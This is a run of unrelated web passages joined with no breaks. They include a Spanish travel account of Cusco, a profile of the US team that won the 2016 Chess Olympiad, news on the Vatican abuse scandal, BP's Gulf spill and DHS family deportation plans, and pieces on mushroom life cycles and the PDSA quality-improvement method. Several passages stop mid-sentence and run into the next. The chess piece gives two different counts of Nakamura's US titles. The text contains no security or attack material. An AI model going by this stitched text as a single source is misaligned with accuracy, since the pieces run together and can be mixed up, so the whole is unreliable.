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No muy lejos se encuentra Qoricancha (la entrada cuesta 10 soles), las ruinas de un templo importante en la historia inca. Antes de la conquista española, era el corazón de ese Imperio y se dice que sus muros estaban cubiertos de oro. Desde los muros exteriores del templo, se aprecia una vista maravillosa de la ciudad.
Mientras caminaba por las encantadoras calles estrechas de Cusco, tomé nota de varios hostales y hospedajes en la ciudad. Me detuve en un par de ellos y cuando pregunté los precios todos estaban dispuestos a regatear. En el Hostel Qori Kintu San Blas, por ejemplo, pregunté por una habitación que tenía un precio de 40 dólares pero, acto seguido, el hombre detrás del mostrador dijo que aceptaría 100 soles, es decir, unos 30 dólares.
Sin embargo, no todo está sujeto a negociación. En Sacsayhuaman, la impresionante fortaleza inca, tuve un pequeño problema: no había forma de comprar un boleto solo para la fortaleza. Había un boleto para turistas de 130 soles (70 para estudiantes) que permitía el ingreso a varios sitios arqueológicos y turísticos, entre ellos Sacsayhuaman, Qenqo y Puca Pucará, y tenía una validez de diez días. Un boleto parcial, que permitía la entrada a cuatro sitios, incluyendo Sacsayhuaman, estaba a la venta por 70 soles.
Di mi brazo a torcer y compré el boleto parcial, y me alegré de haberlo hecho. Los muros de la vieja fortaleza son impresionantes; están hechos de pesadas piedras, algunas de ellas de hasta 125 toneladas. Es un misterio cómo fue que los incas llevaron esas piedras hasta la cima de esa colina (que se encuentra muy cerca del centro de la ciudad, tras un recorrido en taxi de 5 soles), pero lo que es verdaderamente abrumador es la precisión de la mampostería: no se usó argamasa y las piedras encajan entre sí de forma tan perfecta que parecieran un rompecabezas.
Si se comienza el recorrido cerca de la cima de Sacsayhuaman, en la entrada más elevada, se puede ir colina abajo mientras se recorre el parque. Las vistas panorámicas del valle y las majestuosas formaciones de las nubes, que parecieran tocar los techos de las casas, son insuperables.
La única vista que se le compara es la de Limbus Restobar, arriba de la colina y hacia el Mirador de San Blas. Es un tanto extraño llegar ahí (pasé por un hotel con el mismo nombre para entrar), es difícil superar el bar, con sus mojitos al dos por uno (a 20 soles). Una vez ahí, caminé por una puerta entre los enormes ventanales que se extienden a lo largo del local y me instalé en una mesa en la amplia terraza con una vista de la ciudad abajo, en el valle. Junto con un plato de empanadas rellenas de queso andino y salchicha (16 soles), no le hizo falta nada más a mi tarde. Había algunas cosas más por hacer, como relajarse en el patio exterior, abrigarse contra el frío apenas perceptible y disfrutar la maravillosa vista que tanto había buscado.Heading into the Baku Olympiad, there was heightened anticipation of how the USA would do given the two new additions on the team. Out were Gata Kamsky and Alexander Onischuk and in were Fabiano Caruana and Wesley So. These were very favorable replacements of two players who had served the national team admirably and helping to wins bronze medals in 2006 and 2008. However, this year the USA was going for gold. With the return of Fabiano Caruana to the U.S. and with Wesley So’s switching of federations, the team suddenly became a contender to favorites. The top three boards of the American team were unmatched.
Hikaru Nakamura, Fabiano Caruana and Wesley So.
Photo by Chris Bauer
After Caruana switched federations, there was all types of snide remarks made about Rex Sinquefield’s role in the transfer. In fact, New York Times writer Dylan Loeb McClain penned an article titled, “U.S. Wins Gold at Chess Olympiad With Help of Imported Talent,” a very misleading piece on the matter. Bear in mind, the thought of returning to the U.S. has been on Caruana’s mind already and he implied this in interviews. However, he was certainly encouraged by the support and development of chess on the American landscape and wanted to be part of the movement in his home country… and not returning as an immigrant. In So’s case, he was a student at Webster University and there was never a pretense about him coming to switch federations.
Instead of congratulating the tournament victors, World Champion Magnus Carlsen posted the above tweet suggesting that Sinquefield “bought” a super team the way an executive assembles a collection of stars with free agent signings and transfer fees. The comment was met with harsh reaction and he will most likely hear some objection when he arrives in New York for the championship match in November.
For 20 years, the USA had mostly Russian emigres playing on Olympiad teams and no one mentioned “buying” players although there were the usual jokes about there being three Russian teams at Olympiad: Russia, USA and Israel. In addition, having highly-rated players does not constitute a gold medal. Of course, Russia and their own import Sergey Karjakin has proven this.
Pictured is a 10-year old FM Fabiano Caruana playing at 2003 Foxwoods Open (Connecticut, USA). Photo by Daaim Shabazz.
In Caruana’s case, he was born in the U.S. and developed the passion for chess in New York where he was identified as a prodigy always desiring to play in the open section. He represented the U.S. at youth level before his parents decided to move to Europe to help him realize his chess talents. He then switched federations to represent his father’s native country, but never took up permanent residence in Italy. Hungary and Switzerland were listed as his locations as well as Spain. Nevertheless, much of the chess world assumed Caruana was born, raised and lived in Italy. None of which are true.
For 10 years, Caruana played under the Italian flag, a sense of family honor and certainly a boost to Federazione Scacchistica Italiana. Upon his return in 2015, Caruana received a hero’s welcome and moved to reacclimatize himself. Winning the 2016 U.S. Championship helped in the process, but now would come the true challenge of forming the Olympiad team.
Nakamura at the 2004 World Open. Photo by Daaim Shabazz.
Hikaru Nakamura is a product of American Swiss system. Having cut his teeth and toughened himself on the brutal open tournaments and Internet chess, Nakamura was also identified as a young talent and proceeded to break most of Bobby Fischer’s records. Ironically, his teammates Caruana and Ray Robson, then broke most of his records.
Becoming a master at age 10, Nakamura was under the tutelage of his stepfather FM Sunil Weeramantry and followed his brother Asuka to tournaments. Eventually Nakamura began to soar in his mid-teens and in 2005 won his first of his five U.S. Championships at age 17. Although, he was snubbed from the Olympiad earlier that year in a minor controversy, he continued to improve and soon became the face of American chess. Now a four-time U.S. Champion, he was the elder statesman of this team at 28!
Wesley So is an interesting case. He rose to stardom in the Philippines as a junior player following the example of Eugenio Torre. The country has a vibrant chess culture, but internal strife caused some players to become disgruntled. So decided to test the waters as a student at Webster University studying international relations. He and Ray Robson were roommates, but after two years So sought a new direction. His leaving Webster was a bit controversial and occurred shortly after he won the $100,000 first prize at the 2014 Millionaire Chess Open.
Wesley So, wearing a beautiful Filipino barong, hoists the Sinqufield Cup aloft after winning the 2016 edition. Photo by Lennart Ootes
Nevertheless, he had decided to remain in the US, paid his own transfer fee and changed his federation. He settled in Minnesota with a host Filipino family and competed in his first U.S. Championship. He fared poorly and also finished last in the 2015 Sinquefield Cup. Had he gone astray? The very personable Filipino righted his situation and began to fare well again in international tournaments. He had a creditable 2016 U.S. Championship (joint 2nd) and recently won the 2016 Sinquefield Cup. Thus, this has been a banner year for So. Prior to the Olympiad, he was the subject of an interesting interview by IM Sagar Shah where he discussed some of his challenges.
Samuel Shankland was initially an unheralded player on the international circuit, but widely recognized as a fine raw talent in America. “Sammy Shank” rose through the scholastic ranks, competed in a number of junior events in the U.S. and represented the country at the youth level. Back in 2010, he threatened to quit chess due to the poor opportunities for GM norms in the U.S. After some soul-searching he came back and in 2011, he created a stir by defeating Peter Leko in the first round of the 2011 World Cup. He won the Samford Fellowship in 2013 and continued measured improvement. At the 2014 Chess Olympiad in Tromso, Norway, he scored 9/10 and earned a gold medal on board four.
One can argue whether New York is still the capital of chess in the U.S., but St. Louis certainly has a stamp on the Olympic gold medal. Four members of the U.S. team has some connection either through the St. Louis Chess Club or through Webster University. Born in Guam and raised in Florida, Robson is another one of the new generation players raised on a diet of Swiss tournaments and junior chess. A heavily decorated scholastic player, Robson was recruited by both marquee chess programs, University of Texas-Dallas and Webster. He finally chose the latter and will graduate in May 2017 with a degree in International Relations.
GM Ray Robson with his father, Dr. Gary Robson.
Photo by Daaim Shabazz.
Robson earned spots on the 2012 and 2016 Olympiad teams winning the gold medal in Baku. He had the following results in the U.S. Championship: 5.5/11 in 2012, 5/9 in 2013, 5.5/11 in 2014, 2nd place on 7.5/11 in 2015 and 4th place on 7/11 in the 2016 edition. He was also a member of national team for the two World Team Championships (2009, 2013) and participated in the World Cup in 2009, 2013 and 2015. At Webster, Robson has been part of four national championship teams and earned a spot on the national team for the gold medal winning team. He has done all of this and he’s only 21!
With all of these respective histories, there is always a question of chemistry. Many of the past champions such as Armenia, Ukraine and China had incredible camaraderie and it showed. India also showed a similar chemistry that led them to the bronze medal in Tromso and 4th place in Baku. What about the Americans? Well… all of the team members were intricately familiar with each other since junior chess and they had an experienced captain in IM John Donaldson. Team coach GM Aleksandr Lenderman was also familiar with team events having played on USA’s World Team last year.
The U.S. junior circuit has been the path of ascension to the national team. With the exception of Wesley So, all Olympiad members starred in these tournaments. Who will graduate next? Photo by CCSCSL.
There was a question about Wesley So after his debacle last year at the U.S. Championship when he was disqualified against Varuzhan Akobian, but he recovered from that incident quite nicely and the controversy subsided. In addition, Caruana’s changing of federation caused speculation that Nakamura would balk at playing board two. This was based on the false perception about Nakamura’s fulsome pride. However, he has carried a professional stance since his 2006 Olympiad debut and has been a valuable team player and leader.
2016 Chess Olympiad Tournament
September 1st-14th, 2016 (Baku, Azerbaijan) USA Match Scores (+9=2 – 20 pts.) Rd. Opponent Flag Rating Score Result 1 Andorra 2320 4-0 WIN 2 Scotland 2434 3½-½ WIN 3 Argentina 2594 3-1 WIN 4 Czech Republic 2631 2-2 DRAW 5 Serbia 2599 3-1 WIN 6 Ukraine 2704 2½-1½ WIN 7 India 2683 3½-½ WIN 8 Russia 2768 2-2 DRAW 9 Norway 2654 3-1 WIN 10 Georgia 2613 2½-1½ WIN 11 Canada 2597 2½-1½ WIN Full Team Results
(chess-results.com)
For the future, Team USA has a torrent of talent coming through the pipeline. The gold medal will certainly have an impact on the desire of scholastic players to play for the national team. However, there is still the question of making chess a viable option for aspiring Grandmasters. GM Jeffery Xiong (2647 at 15 years), GM Daniel Naroditsky (2646 at 20), GM Samuel Sevian (2591 at 15), GM Kayden Troff (2534 at 18) and IM Awonder Liang (2484 at 13) are poised to compete for a position on future Olympiad teams. In the meantime, USA will enjoy the renaissance that is currently taking place on the chess scene.
USA
Players’ Scores # Name Rating Result TPR 1 GM Fabiano Caruana 2808 7/10 (+4=6-0) 2838 2 GM Hikaru Nakamura 2789 7.5/11 (+5=5-1) 2762 3 GM Wesley So 2782 8.5/10 (+7=3-0) 2896 4 GM Samuel Shankland 2679 5.5/8 (+4=3-1) 2661 5 GM Ray Robson 2674 3/5 (+2=2-1) 2585
The winning USA team (wearing papaqs) accepting the trophy. Pictured from left to right: GM Aleksandr Lenderman, GM Hikaru Nakamura, IM John Donaldson, GM Samuel Shankland, GM Ray Robson, GM Wesley So and Fabiano Caruana. Photo from Chess Cast.One prayer asked God to help “the young and those who work to educate and protect them,” which Vatican Radio said was intended to “sum up the feelings of the Church at this difficult time when it confronts the plague of pedophilia.”
As the scandal has convulsed the Church, the Vatican has gone on the offensive, attacking the media for what it called an “ignoble attempt” to smear Pope Benedict and his top advisers.
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On Saturday, the Vatican’s chief spokesman acknowledged that the Church’s response to cases of sexual abuse by priests was crucial to its credibility and it must “acknowledge and make amends for” even decades-old cases.
“The nature of this issue is bound to attract media attention and the way the Church responds is crucial for its moral credibility,” the Vatican’s chief spokesman, Father Federico Lombardi, said on Vatican Radio.
Although the cases cited happened long ago, “even decades ago, acknowledging them and making amends to the victims is the price for re-establishing justice and looking to the future with renewed vigor, humility and confidence,” Father Lombardi said.
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Sunday marked the start of a hectic week during which the Pope presides over seven major events leading up to Easter.
But while Catholics commemorate Christ’s passion, the 1.1 billion member Church is reeling from media reports on abuse that have led to the pope’s doorstep.
The Vatican has denied any cover-up in the abuse of 200 deaf boys in the United States by the Reverend Lawrence Murphy from the 1950s to the 1960s, after reports that he was not defrocked although the case was made known to the Vatican and to Cardinal Joseph Ratzinger, then the Church’s top doctrinal official, now Pope Benedict.
The Vatican also said that the pope, while archbishop of Munich in 1980, was not involved in the decision by a subordinate to allow a priest who had been transferred there to undergo therapy for sexual abuse to return later to pastoral duties.
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The European epicenter of the scandal is Ireland, where two bishops have resigned over their handling of abuse cases years ago. Three others have offered their resignation and there have been calls for the head of the Irish Church, Cardinal Sean Brady, to step down.WASHINGTON, Sept 4 (Reuters) - The U.S. Justice Department is ramping up its rhetoric against BP PLC for the massive 2010 oil spill in the Gulf of Mexico, laying out in a new court filing examples of what it calls “gross negligence and willful misconduct.”
The filing is the sharpest position yet taken by the U.S. government as it seeks to hold the British oil giant largely responsible for the largest oil spill in U.S. history.
“The behavior, words, and actions of these BP executives would not be tolerated in a middling size company manufacturing dry goods for sale in a suburban mall,” government lawyers wrote in the filing on Aug. 31 in federal court in New Orleans.
The government lawyers wrote that they decided to elaborate on BP’s alleged gross negligence because they believed BP was trying to persuade a federal judge to exonerate the company.
The oil spill started in April 2010 when an explosion destroyed the Deepwater Horizon drilling rig and killed 11 workers. Some analysts have put the cost of the spill at $60 billion or more.
Spokespeople for BP did not respond to a request for comment late on Tuesday.Pasco deputy fired for planting drugs, sheriff says Copyright by WFLA - All rights reserved Pasco County Sheriff Chris Nocco [ + - ] Video
PASCO COUNTY, Fla. (WFLA) - A Pasco County deputy is off the job, accused of trying to frame a drug suspect. Sheriff Chris Nocco briefed the media Tuesday about what led to Deputy Stephen LeBlanc's firing.
LeBlanc planted drugs in the bag of a known drug suspect, Thomas Parizzi, Nocco said.
It all started last November.
"I can tell you it possibly goes back to the fact that Parizzi had spray painted LeBlanc's name on his own trailer, Parizzi's own trailer, saying, 'LeBlanc for Sheriff 2016.' We don't know any other altercation that occurred between the two," Nocco said.
Investigators believe the deputy got a syringe and a crack pipe from Parizzi's neighbor and planted it in Parizzi's bag.
"(Parizzi) goes and checks himself into a rehab center. When he checks himself into the rehab center, the staff notices the items that are in the bag and notifies the sheriff''s office," Nocco said.
That's what sparked the |
had been crushing it to close the year, this is the best choice for game ball I could find.
Needs Work:
The first game of the year talked about it, but shortly after the Rams game, the 'Hawks retooled their approach to pass rush. Pass rush is key to beating any QB, but it's proven to beat Tom Brady in the big game twice, whether you gimmick it through movement, show blitz and back out -- however you do it -- getting guys to Tom Brady should be the biggest bullet point on the agenda board.
**Most humble thanks to Jennifer Chen who gets these GIFs spot on every weekShare it? Facebook
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Japan offered to provide technical support in order to help China cope with its pollution problem. However, China seems unwilling to accept Japan’s offer, according to Environment Minister Nobuteru Ishihara.
Ishihara’s statement came after Japan and China’s officials met on February 22 in Beijing and agreed to work together in order to reduce the growing pollution. The smog is caused by so-called PM2.5, particulate matters some 2.5 thousandths of a millimeter or smaller in diameter, which could cause health problems, according to Kyodo news agency.
The two states’ cooperation was expected by Tokyo to serve as a “lever” in attempts to improve the relations between Japan and China. Both countries are involved in a territorial conflict over the control of Senkaku islands in the East China Sea. However, according to Ishihara, Beijing does not seem too interested in moving the agreement forward.
The thick smog that has been suffocating cities in China arrived weeks ago in various parts of Japan, leading to warnings of health risks for the young and those who are sick. Images of Beijing and other Chinese cities blanketed by choking smog were broadcasted at that time by Japanese TV channels.This type of legislation would be extremely difficult to enforce and the Government does not believe that it would add to the existing rules and guidance, including those set out in the Highway Code, which advises drivers to give cyclists “at least as much room as you would when overtaking a car”.
We are keeping this position under review, and are interested in learning from the experience of places where legislation of this type has been introduced. One example is South Australia, where since 25th October 2015, drivers are required to give a minimum of one metre when passing a cyclist where the speed limit is 60km/h (37.3mph) or less or 1.5 metres where the speed limit is over 60km/h (40mph). The penalty for drivers caught disobeying this rule is a $287 (£148) fine, plus a $60 (£31) victim of crime levy and 2 demerit (penalty) points. However, it will take time to understand the benefits and impacts of this legislation on cyclists and other road users.
Department for TransportA one-year-old from El Salvador clings to his mother after she turned themselves in to Border Patrol agents on Dec. 7, 2015 near Rio Grande City, Texas. They had just illegally crossed the U.S.-Mexico border into Texas. (John Moore/Getty Images)
The Department of Homeland Security has begun preparing for a series of raids that would target for deportation hundreds of families who have flocked to the United States since the start of last year, according to people familiar with the operation.
The nationwide campaign, to be carried out by U.S. Immigration and Customs Enforcement (ICE) agents as soon as early January, would be the first large-scale effort to deport families who have fled violence in Central America, those familiar with the plan said. More than 100,000 families with both adults and children have made the journey across the southwest border since last year, though this migration has largely been overshadowed by a related surge of unaccompanied minors.
The ICE operation would target only adults and children who have already been ordered removed from the United States by an immigration judge, according to officials familiar with the undertaking, who spoke on the condition of anonymity because planning is ongoing and the operation has not been given final approval by DHS. The adults and children would be detained wherever they can be found and immediately deported. The number targeted is expected to be in the hundreds and possibly greater.
The proposed deportations have been controversial inside the Obama administration, which has been discussing them for several months. DHS Secretary Jeh Johnson has been pushing for the moves, according to those with knowledge of the debate, in part because of a new spike in the number of illegal immigrants in recent months. Experts say that the violence that was a key factor in driving people to flee Central America last year has surged again, with the homicide rate in El Salvador reaching its highest level in a generation. A drought in the region has also prompted departures.
The pressure for deportations has also mounted because of a recent court decision that ordered DHS to begin releasing families housed in detention centers.
Although Johnson has signaled publicly for months that Central American families not granted asylum would face deportation, the plan is likely to trigger renewed backlash from Latino groups and immigrant advocates, who have long accused the administration of overly harsh detention policies even as Republicans deride President Obama as soft on border security.
Advocates have not been briefed on the plans and on Wednesday expressed concern. They cited what they called flaws and abuses in the government’s treatment and legal processing of the families, many of whom are fleeing danger or persecution in El Salvador, Guatemala and Honduras.
“It would be an outrage if the administration subjected Central American families to even more aggressive enforcement tactics,” said Gregory Chen, director of advocacy for the American Immigration Lawyers Association. “This administration has never acknowledged the truth: that these families are refugees seeking asylum who should be given humanitarian protection rather than being detained or rounded up. When other countries are welcoming far more refugees, the U.S. should be ashamed for using jails and even contemplating large-scale deportation tactics.”
Groups that have called for stricter immigration limits said the raids are long overdue and remained skeptical about whether the scale would be large enough to deter future illegal immigration from Central America.
“I’ll believe it when I see it,” said Mark Krikorian, executive director of the Center for Immigration Studies. “What share is this going to be?... It’s a drop in the bucket compared to the number they’ve admitted into the country. If you have photogenic raids on a few dozen illegal families and that’s the end of it, it’s just for show. It’s just a [public relations] thing, enforcement theater.”
Marsha Catron, a DHS spokeswoman, would not comment on any possible ICE operations but pointed out that Johnson “has consistently said our border is not open to illegal immigration, and if individuals come here illegally, do not qualify for asylum or other relief, and have final orders of removal, they will be sent back consistent with our laws and our values.”
The raids could become a flash point on the 2016 campaign trail, where GOP presidential contenders, including front-runner Donald Trump, have made calls for stricter border control a central issue. Trump’s rise has come as he has promised to deport all undocumented immigrants and bar entry to the United States for Muslim refugees in the wake of the terrorist attacks in Paris and San Bernardino, Calif., policy prescriptions denounced by Democratic candidates, including Hillary Clinton.
1 of 12 Full Screen Autoplay Close Skip Ad × U.S. Border Patrol agents capture undocumented immigrants in Texas View Photos The number of unaccompanied minors and families crossing the border from Central America has surged in recent months. Caption The number of unaccompanied minors and families crossing the border from Central America has surged in recent months. Dec. 9, 2015 A U.S. Border Patrol agent detains juvenile undocumented immigrants near the U.S.-Mexico border in La Grulla, Tex. John Moore/Getty Images Buy Photo Wait 1 second to continue.
The immigration issue has often bedeviled Obama, who came into office under pressure from supporters to end the George W. Bush administration’s post-Sept. 11, 2001, crackdown on illegal migrants. Instead, the administration increased deportations in its early years, drawing repeated fire from Latino groups and immigration advocates. Then, in summer 2014, came the surge of children flocking across the southwest border.
While most public attention focused on minors who were crossing the border alone, the number of children who came with a family member — known as “family units’’ in DHS parlance — also spiked dramatically.
With the government overwhelmed at first, many of the families were simply released and told to appear at later immigration court dates to determine if they would be granted asylum.
Some never showed up or had their asylum claims rejected and were ordered deported by immigration judges, officials familiar with the process said. That population is among those expected to be targeted in the upcoming raids, they said.
Immigrant rights advocates and legal experts say the families and minors were in many cases not granted adequate representation and were confused by the asylum procedures in court.
DHS, meanwhile, reacted to the surge by opening family detention centers, two in Texas and one in Pennsylvania. Those centers now house more than 1,700 people, DHS officials said Wednesday. But even as DHS officials have long vowed that the migrants will be treated humanely, their advocates have said conditions are crowded and inhumane in the centers, which often house women with children.
As the administration wrestled with how to handle the families, Johnson in November 2014 issued a set of new immigration enforcement priorities. Much of the attention focused on his public statements that undocumented immigrants who had been in the country for years should be integrated into society rather than deported. And Obama, on the same day, announced an executive action intended to shield up to 5 million illegal immigrants from deportation.
But Obama’s action has been blocked in the courts. And Johnson has also made clear that families, children and others who had illegally crossed the border recently and did not obtain asylum status — and anyone ordered deported starting on Jan. 1, 2014 — would be subject to removal.
DHS “will also continue to expedite, to the greatest extent possible, the removal of those who are not eligible for relief under our laws,’’ Johnson said in a September statement about the family detention centers. “We take seriously our obligation to secure our borders.’’
In August, a federal judge in California ordered the administration to begin releasing in October children and family members from the detention centers. The judge said DHS had violated a 1990s consent decree that said minors taken into custody, whether accompanied by an adult or not, had to be treated humanely and allowed to quickly contest their incarcerations.
The administration has said it is complying with the ruling, but it has also filed an appeal with a federal appeals court, and officials said the decision left them feeling hamstrung. “It doesn’t allow us to hold onto people, to detain them until we can deport them,’’ said one person familiar with the internal debate.
Then, in recent months, the flow of families crossing the border suddenly shot up again. The numbers of family units apprehended rose 173 percent in October and November, compared to the same period last year, according to DHS data analyzed by the Migration Policy Institute, a nonpartisan think tank.
The court decision and the sudden spike led to the decision to begin planning the upcoming raid, said officials familiar with the deliberations, who said DHS knows the deportations will be inflammatory but believes it must enforce the law.The Mushroom Life Cycle
The kingdom Fungi consists of several groups (phyla) of which each has its own unique life cycle. Edible mushrooms (e.g. Oysters, Shiitake, Reishi) belong to the group Basidiomycota. If you want to start the cultivation of these mushrooms at home, it is important to know about the mushroom life cycle. This will help you to understand what aspects of nature you are trying to mimic and will result into greater successes and lower rates of contamination from competitor molds and bacteria.
What commonly is called the “mushroom” is really only the fruiting body. It consists of a stem and a cap. What many people don’t know is that there is an entire network of mycelium, which is part of the organism.
Considering it’s life cycle, let’s start with the haploid (containing half of the genetic information needed to form a mushroom) basidiospores (1).
As it settles onto a surface, the spore germinates (if it finds itself on a suitable habitat) producing a single-cell filament called hypha (2). This hypha grows through its food source, searching for a genetic mate. Like the sperm and egg of animals, spores contain only half the genetic information of their parent and therefore need to fuse with the hypha of another spore in order to be genetically whole. If the hyphae of different mating types meet, they are attracted to each other and fuse (during Plasmogamy), forming a cell with two nuclei (3). Now begins a phase that is unique to fungi: The Dikaryotic Phase, in which the cells of the so-called fungal mycelium have two nuclei.
The mycelium has all the genetic information it needs to produce mushrooms. First it grows through its environment, continuously branching out in all directions, forming a very dense network, and decomposing organic matter as it moves along. Due to the mycelium’s high surface-area-to-volume-ration, it allows the fungus to absorb nutrients efficiently.
Once the fungus runs out of resources or a change in environmental conditions occurs (like a temperature drop and increased humidity), the mycelium will start to fruit (grow a mushroom) (4). This mushrooms also consists of hyphae with two nuclei. It is a tightly packed above ground mass. First, it will accumulate into many tiny pinheads (primordia), which will soon develop into mature fruiting bodies and start producing spores.
The spores are produced on a layer of tissue called hymenium. This tissue can be found in the mature fruiting body on the gills, which in many species can be found underneath the cap of the mushroom. These are lined with dikaryotic basidia, containing two haploid nuclei (5). During Karyogamy (6). two nuclei fuse before meiosis (7) and four spores with one nucleus each develop. The basidium then grows four appedages and one haploid nucleus enters each appendage and develops into a basidiospore (8). The basidiospores are ejected in a process called ballistospory.
Millions or even billions of these spores can be produced by one single mature mushroom on a single day. They are released and after they drop below the cap, they are dispersed by the wind. Once they settle on a suitable surface, the mushroom life cycle begins again.
To learn more subscribe to our blog and visit us at www.SubFarms.com for all your mycological needs!
–> Click on image to view full size.Introduction Quality improvement (QI) methods have been introduced to healthcare to support the delivery of care that is safe, timely, effective, efficient, equitable and cost effective. Of the many QI tools and methods, the Plan-Do-Study-Act (PDSA) cycle is one of the few that focuses on the crux of change, the translation of ideas and intentions into action. As such, the PDSA cycle and the concept of iterative tests of change are central to many QI approaches, including the model for improvement,1 lean,2 six sigma3 and total quality management.4 PDSA provides a structured experimental learning approach to testing changes. Previously, concerns have been raised regarding the fidelity of application of PDSA method, which may undermine learning efforts,5 the complexity of its use in practice5,6 and as to the appropriateness of the PDSA method to address the significant challenges of healthcare improvement.7 This article presents our reflections on the full potential of using PDSA in healthcare, but in doing so we explore the inherent complexity and multiple challenges of executing PDSA well. Ultimately, we argue that the problem with PDSA is the oversimplification of the method as it has been translated into healthcare and the failure to invest in a rigorous and tailored application of the approach.
The value of PDSA in healthcare improvement The purpose of the PDSA method lies in learning as quickly as possible whether an intervention works in a particular setting and to making adjustments accordingly to increase the chances of delivering and sustaining the desired improvement. In contrast to controlled trials, PDSAs allow new learning to be built in to this experimental process. If problems are identified with the original plan, then the theory can be revised to build on this learning and a subsequent experiment conducted to see if it has resolved the problem, and to identify if any further problems also need to be addressed. In the complex social systems of healthcare, this flexibility and adaptability of PDSA are important features that support the adaption of interventions to work in local settings. A successful PDSA process does not equal a successful QI project or programme. The intended output of PDSA is learning and informed action. Successful application of the PDSA methodology may enable users to achieve their QI goals more efficiently or to reach QI goals they would otherwise not have achieved. But it is also successful if it saves wasted effort by revealing QI goals that cannot be achieved under realistic constraints or if it identifies new problems to tackle instead of the originally identified issue. A well-conducted PDSA promises learning. But it does not, and cannot, promise that users will achieve their desired outcomes. As PDSA has been translated into healthcare from industrial settings, an emphasis has been placed on rapid small-scale tests of change, often on one, three and then five patients in ‘ramps’ of increasing scale, and responsibility delegated to frontline staff and improvement or quality managers. This pragmatic approach has been embraced and has been seen as providing a new freedom for healthcare staff to lead change and improvement in local care settings. However, the process of change rarely progresses in simple linear ramps.6,8 The conduct of PDSAs can reveal other related issues that need to be addressed in order to achieve the improvement goal. Such issues may relate to minor changes to current practices or processes of care, but can often reveal larger cultural or organisational issues that need to be addressed and overcome. Recent evaluations have reported on the failure of the PDSA method to help frontline staff address the multiple improvement challenges they faced as the scale of investigation and range of issues they needed to address increased.7,9 A report evaluating the Safer Clinical Systems programme in the UK identified ‘the need for clarity about when improvement approaches based on PDSA cycles are appropriate and when they are not’, viewing some challenges as ‘too big and hairy’ for the PDSA method and beyond the scope of small-scale tests of change run by local clinical teams.7 We argue that any improvement situation, no matter how big and hairy, is conducive to application of the PDSA method. The four stages of PDSA mirror the scientific experimental method of formulating a hypothesis, collecting data to test this hypothesis, analysing and interpreting the results and making inferences to iterate the hypothesis.5,10 Whether improvement initiatives have been planned at national level to support standardisation of care or planned over a cup of coffee to solve a minor local problem, we believe there will always be a role for PDSA. In moving from planning to implementing a change in practice, PDSA provides a structure for experimental learning to know whether a change has worked or not, and to learn and act upon any new information as a result. But it is not a magic bullet. Increasingly complex problems require increasingly sophisticated application of the PDSA method, and this is where we believe the problem with the PDSA method lies.
Its simplicity belies its sophistication One of the main narratives surrounding the use of PDSA in healthcare is that it is easy, and can be applied in practice by anyone. At one level this is true, and the simplicity of the PDSA method and its applicability to many different situations can be viewed as one of its main strengths. However, this simplicity also creates some of the greatest challenges to using PDSA successfully. Users need to understand how to adapt the use of PDSA to address different problems and different stages in the lifecycle of each improvement project. This requires an extensive repertoire of skills and knowledge to be used in conjunction with the basic PDSA model. One of the main problems encountered in using PDSA is the misperception that it can be used as a standalone method. PDSA needs to be used as part of a suite of QI methods, the exact nature of which may be influenced by the broader methodological approach that is being followed (eg, model for improvement, lean). An important role of the wider methodological approach is to conduct investigations prior to starting the use of PDSA to ensure that the problem is correctly understood and framed. Investigations can include process mapping, failure mode effects analysis, cause and effect analysis, stakeholder engagement and interviews, data analysis and review of existing evidence. A second misperception is that the PDSA is limited to small-scale tests of change on one, three and five patients. PDSA is an extremely flexible method that can be adapted to support the scale up of interventions and used in conjunction with monitoring activities to support sustainability. But, this flexibility gives rise to a number of key dimensions that require careful consideration. For instance, the scope and scale of change, the amount of preparation prior to use, rigour of the evaluation, time, expertise, management support and funding must be carefully aligned. Often these needs must be rebalanced over the project's lifecycle. If managed well, these adjustments enable the use of PDSA to adapt to new learning and support the design and conduct of ‘tests of change’ as they increase in scale, and often complexity, to achieve the desired improvement goal. Using PDSA as an iterative design framework to help solve ‘big hairy problems’ or ‘big hairy audacious goals’11 is, therefore, entirely appropriate. In fact, developing solutions to large-scale ‘wicked problems’12 may require ‘an iterative explorative and generative’13 approach of the sort PDSA provides, in which ‘knowledge is built through designing’.13 The key is to understand that this framework will need to be implemented (and resourced) very differently for large and complex problems than for smaller and more ‘tame’ problems. One size does not fit all. While frontline staff with little training or support may successfully address some quality problems, the complexity of many problems demands greater organisational support, with direct involvement of senior managers to facilitate adequate planning. Projects in which frontline staff must fend for themselves also run the risk of insufficient usage of theory and existing evidence to develop the intervention and a suboptimal evaluation.
Quick (not dirty) tests of change In healthcare, PDSA training often overemphasises the conceptual simplicity of the framework and underemphasises the different ways in which the method can be adapted to solve increasingly complex problems. This frequently leads people to leap into PDSA with insufficient prior investigation and framing of the problem, to delegate management of the process to frontline staff who have little influence over broader systemic concerns that need to be addressed, and to provide these staff with little support to overcome the obstacles and barriers they face. The resources, skills and expertise required to apply PDSA in the real world are often significantly underestimated, leading to projects that are destined to fail. This has led to the impression that PDSA cycles involve ‘quick and dirty’ tests of change. In the rush to empower healthcare staff, there is a danger that the scientific rigour of the PDSA method is frequently compromised. A systematic review5 revealed that the core principles of PDSA are often not executed in practice, with ‘substantial variability with which they are designed, executed and reported in the healthcare literature’.6 A failure to properly execute PDSAs can undermine learning efforts… ‘if data collection does not occur frequently enough, if iterative cycles are few, and if system-level changes are not apparent as a result of these cycles, the improvement work is less likely to succeed’.6 While its scientific principles differ from those of controlled trials, rigour in the application of PDSA is still required for PDSA to maximise the learning obtained from tests of change. In addition to a lack of fidelity with PDSA guiding principles, there is the need to ensure that each stage of the cycle is conducted well. But the frenetic culture endemic in healthcare organisations can make it difficult to achieve sustained engagement in the deliberative processes of PDSA.
Just get on with it While ‘planning paralysis’ can be an issue in healthcare organisations, the more common problem is a serious underinvestment in the planning phase. The pervasive cultural compulsion to ‘just get on with it’14 leads many teams to move too quickly from ‘plan’ to ‘do.’ The consequences of skipping this up-front work can include wasted PDSA cycles or projects that fail altogether. Table 1 describes some of the key failure modes for the planning and preplanning (ie, investigation and problem-framing) steps of the PDSA process. Table 1 Key failure modes for the investigation/problem framing and plan steps Why do planning failures present such a challenge to the successful use of PDSA? It is much more difficult to correctly execute and learn from a plan that has not been well thought out. And even perfect execution cannot ensure success if the plan, itself, is wrong. The iterative nature of PDSA enables course corrections, but this feature of the approach is much more effective if there was a clear and reasoned course in the first place. Many of the barriers to success in the do, study and act phases can be predicted and mitigated through more effective planning.
